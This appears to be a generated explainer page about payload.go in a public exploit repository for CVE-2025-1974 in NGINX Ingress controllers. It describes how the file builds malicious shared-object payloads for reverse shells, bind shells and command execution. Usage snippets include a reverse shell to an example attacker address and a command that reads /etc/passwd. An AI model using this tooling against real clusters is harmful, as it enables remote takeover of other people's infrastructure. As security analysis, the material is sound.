What Is nginx-ingress/payload.go? Understanding the CVE-2025-1974 Exploit Payload Generator

The nginx-ingress/payload.go file in the ingressnightmare exploit repository serves as the core payload factory for CVE-2025-1974, embedding malicious shared objects and generating binary exploits for reverse shells, bind shells, and arbitrary command execution.

The nginx-ingress/payload.go module within esonhugh/ingressnightmare-cve-2025-1974-exps orchestrates the creation of malicious binary payloads targeting vulnerable NGINX Ingress controllers. This file embeds pre-compiled exploit libraries and exposes factory functions that customize these binaries to establish remote code execution. Understanding its internals reveals exactly how the CVE-2025-1974 exploit crafts the malicious .so files injected into victim clusters.

Embedding the Malicious Library

At compile time, payload.go embeds the malicious shared object and its source code into the exploit binary using Go’s embed directive. This ensures the exploit carries its payload internally without external file dependencies.

//go:embed danger.so danger.c
var evilLibraryFS embed.FS

(source: nginx-ingress/payload.go lines 17-19)

The evilLibraryFS variable stores both nginx-ingress/danger.so (the compiled backdoor) and nginx-ingress/danger.c (its source), making them available for runtime manipulation or extraction.

Runtime Initialization and Configuration

The module provides an initialization hook allowing operators to override the embedded library with custom shared objects. The Init function accepts raw bytes and replaces the default embedded payload.

func Init(soData []byte) { evilLibrary = soData }

(source: nginx-ingress/payload.go lines 22-25)

Helper functions retrieve the raw bytes of the embedded library for inspection or modification. The Payload type itself is defined as a simple byte slice ([]byte), with mode-flag constants (MODE_CHECK_FLAG, MODE_REVERSE_SH, MODE_BINDING_SH, MODE_CMD_EXECVE) determining the execution behavior when the library loads in the target controller.

Payload Generation Functions

The file exposes three primary factory functions that transform the base library into concrete exploit variants. Each function performs byte-level substitutions to configure IP addresses, ports, or commands.

Reverse Shell Payload

NewReverseShellPayload generates a payload that connects back to an attacker-controlled IP and port. It locates the placeholder IP 127.000.000.001 and port 13337 within the binary, replacing them with attacker-supplied values. It also swaps the MODE_CHECK_FLAG placeholder with MODE_REVERSE_SH to trigger the reverse shell behavior.

(source: nginx-ingress/payload.go lines 46-72)

Bind Shell Payload

NewBindShellPayload configures the library to listen on a specific port on the compromised host. It substitutes the placeholder port and sets the mode flag to MODE_BINDING_SH, enabling the controller to spawn a listening shell accessible to the attacker.

(source: nginx-ingress/payload.go lines 74-90)

Arbitrary Command Execution

NewCommandPayload facilitates single-command execution by padding the supplied command string to a fixed length, then replacing a large "AAAAAAAA…" placeholder within the binary with the actual command bytes. It activates MODE_CMD_EXECVE to execute the command via the injected library.

(source: nginx-ingress/payload.go lines 92-101)

Byte-Level Payload Manipulation

All payload generators rely on bytesReplace, a validation wrapper around Go’s bytes.Replace. This utility enforces that the old and new byte slices share identical lengths—a critical constraint because the embedded placeholders have fixed offsets and sizes within the compiled shared object.

func bytesReplace(data, old, new []byte) []byte {
    // validation and replacement logic
}

(source: nginx-ingress/payload.go lines 10-15)

Integration with the Exploit Chain

In main.go (approximately line 214), the exploit driver calls these factory functions to generate the final payload before injection. For example, generating a reverse shell for host 10.0.0.42 on port 4444:

import (
    "fmt"
    "github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
)

func exampleReverseShell() {
    ip   := "10.0.0.42"
    port := "4444"
    payload := nginx_ingress.NewReverseShellPayload(ip, port)

    fmt.Printf("Payload size: %d bytes\n", len(payload))
}

Creating a bind shell on port 1337:

payload := nginx_ingress.NewBindShellPayload("1337")

Executing a custom command:

payload := nginx_ingress.NewCommandPayload("id && cat /etc/passwd")

The resulting byte slice is subsequently embedded into a malicious Ingress resource and delivered to the vulnerable NGINX Ingress controller, triggering the CVE-2025-1974 vulnerability.

Summary

  • nginx-ingress/payload.go embeds the malicious danger.so and danger.c files at compile time using Go’s embed directive.
  • The Init function allows runtime replacement of the default shared object with custom exploit libraries.
  • Three factory functions—NewReverseShellPayload, NewBindShellPayload, and NewCommandPayload—generate tailored exploits by performing fixed-length byte replacements.
  • The bytesReplace utility ensures placeholder substitutions maintain exact byte alignment required by the compiled binary structure.
  • Generated payloads are consumed by main.go and injected into vulnerable NGINX Ingress controllers to achieve remote code execution via CVE-2025-1974.

Frequently Asked Questions

How does nginx-ingress/payload.go embed the malicious library?

The file uses the //go:embed danger.so danger.c directive to bundle the pre-compiled shared object and its C source directly into the compiled exploit binary. This creates an embed.FS variable named evilLibraryFS that stores both files for runtime access, eliminating external file dependencies during deployment.

What is the purpose of the Init function in payload.go?

The Init function accepts a byte slice (soData []byte) and assigns it to the internal evilLibrary variable. This allows operators to override the embedded danger.so with a custom shared object at runtime, enabling flexibility to test modified exploits or use alternative payload implementations without recompiling the tool.

How does the reverse shell payload configure connection details?

NewReverseShellPayload performs byte-level substitution on the embedded library template. It replaces the hardcoded placeholder IP 127.000.000.001 and port 13337 with attacker-specified values, then swaps the MODE_CHECK_FLAG constant with MODE_REVERSE_SH. These modifications occur at specific fixed offsets within the binary, ensuring the backdoor connects to the attacker upon loading.

Why does the payload generation require fixed-length byte replacement?

The compiled danger.so binary contains placeholders at specific memory offsets that the exploit must overwrite without altering the total file size. The bytesReplace function enforces that old and new byte slices share identical lengths, preventing corruption of the ELF structure and ensuring the shared object remains valid when loaded by the NGINX Ingress controller.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →